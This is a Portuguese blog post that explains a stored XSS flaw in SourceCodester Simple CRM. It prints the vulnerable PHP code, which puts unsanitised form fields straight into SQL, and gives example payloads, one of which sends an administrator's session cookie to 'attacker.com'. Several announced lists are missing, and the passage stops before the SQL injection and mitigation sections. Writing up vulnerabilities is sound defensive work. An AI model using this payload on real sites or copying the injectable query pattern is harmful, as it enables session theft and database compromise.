
Análise educacional de CVE-2023-24203 (XSS armazenado) e CVE-2023-24204 (Injeção de SQL) no SourceCodester CRM, com etapas de exploração e estratégias de mitigação.
No cenário de segurança cibernética em constante evolução, as aplicações web continuam sendo um alvo principal para atacantes que buscam explorar vulnerabilidades. Recentemente, duas vulnerabilidades críticas foram descobertas no SourceCodester Simple Customer Relationship Management (CRM) System v1.0: CVE-2023-24203 e CVE-2023-24204. Essas vulnerabilidades, envolvendo Cross-Site Scripting (XSS) e Injeção de SQL, apresentam riscos significativos, incluindo execução arbitrária de código e acesso não autorizado. Compreender essas vulnerabilidades e seus impactos é essencial para desenvolvedores e profissionais de segurança protegerem os sistemas contra ameaças potenciais.
Cross-Site Scripting (XSS) é um tipo de vulnerabilidade que ocorre quando uma aplicação web permite que usuários injetem scripts maliciosos em páginas web visualizadas por outros usuários. Isso pode levar a ações não autorizadas em nome do usuário, roubo de dados e exploração adicional. As vulnerabilidades XSS podem ser classificadas em três tipos principais:
A Injeção de SQL é um tipo de vulnerabilidade que ocorre quando um atacante consegue manipular consultas SQL injetando código SQL arbitrário em uma consulta. Isso pode levar a acesso não autorizado, roubo de dados e outras atividades maliciosas. A Injeção de SQL normalmente ocorre devido à validação insuficiente de entrada e à falta de consultas parametrizadas. Os principais impactos da Injeção de SQL incluem:
Neste post de blog, vamos nos aprofundar em CVE-2023-24203 e CVE-2023-24204, explorando os detalhes dessas vulnerabilidades, seus vetores de ataque, impactos e estratégias de mitigação. Compreender essas vulnerabilidades em profundidade é crucial para proteger suas aplicações e dados contra possíveis explorações.
As vulnerabilidades de Injeção de SQL geralmente são resultado de validação de entrada inadequada e más práticas de codificação. Algumas causas comuns incluem:
As vulnerabilidades de Cross-Site Scripting (XSS) são tipicamente causadas pela falha em lidar corretamente com a entrada e saída do usuário. Causas comuns incluem:
A CVE-2023-24203 é uma vulnerabilidade de Cross-Site Scripting (XSS) Armazenado encontrada no componente get-quote.php do SourceCodester Simple Customer Relationship Management (CRM) System v1.0. Essa vulnerabilidade permite que um atacante injete scripts maliciosos nos parâmetros company e query, que são então armazenados no banco de dados e executados quando visualizados por um administrador, levando à execução arbitrária de código.
A vulnerabilidade reside no script get-quote.php, que processa a entrada do usuário a partir de um formulário de solicitação de orçamento. O código-fonte PHP é mostrado abaixo:
<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
$name=$_POST['name'];
$email=$_POST['email'];
$contact=$_POST['contact'];
$company=$_POST['company'];
$services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
$other=$_POST['other'];
$query=$_POST['query'];
$pd=date('Y-m-d');
mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
echo "<script>alert('Query received. We will contact you soon.');</script>";
echo "<script>window.location.href='get-quote.php'</script>";
}
?>
O script recebe as entradas do usuário a partir do formulário (name, email, contact, company, services, other e query) e as incorpora diretamente em uma consulta SQL para armazenar os dados no banco de dados. Enquanto o campo services é sanitizado usando mysqli_real_escape_string e addslashes, os parâmetros company e query não são devidamente sanitizados ou codificados quando são refletidos de volta na resposta. Essa falta de sanitização e codificação adequadas permite a injeção e o armazenamento de scripts maliciosos no banco de dados.
Para explorar essa vulnerabilidade, um atacante pode criar um payload que inclua código JavaScript malicioso no parâmetro company ou query. Quando o administrador visualiza a solicitação de orçamento, o script injetado será executado no navegador dele.
Ao enviar o seguinte payload no parâmetro query:
<script>alert('XSS');</script>
O atacante pode acionar um ataque XSS quando o administrador visualizar a solicitação de orçamento.
Um payload mais prejudicial pode ser criado para roubar os cookies de sessão do administrador. Usando o seguinte payload no parâmetro query:
<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>
O atacante pode enviar os cookies do administrador para um servidor remoto controlado pelo atacante.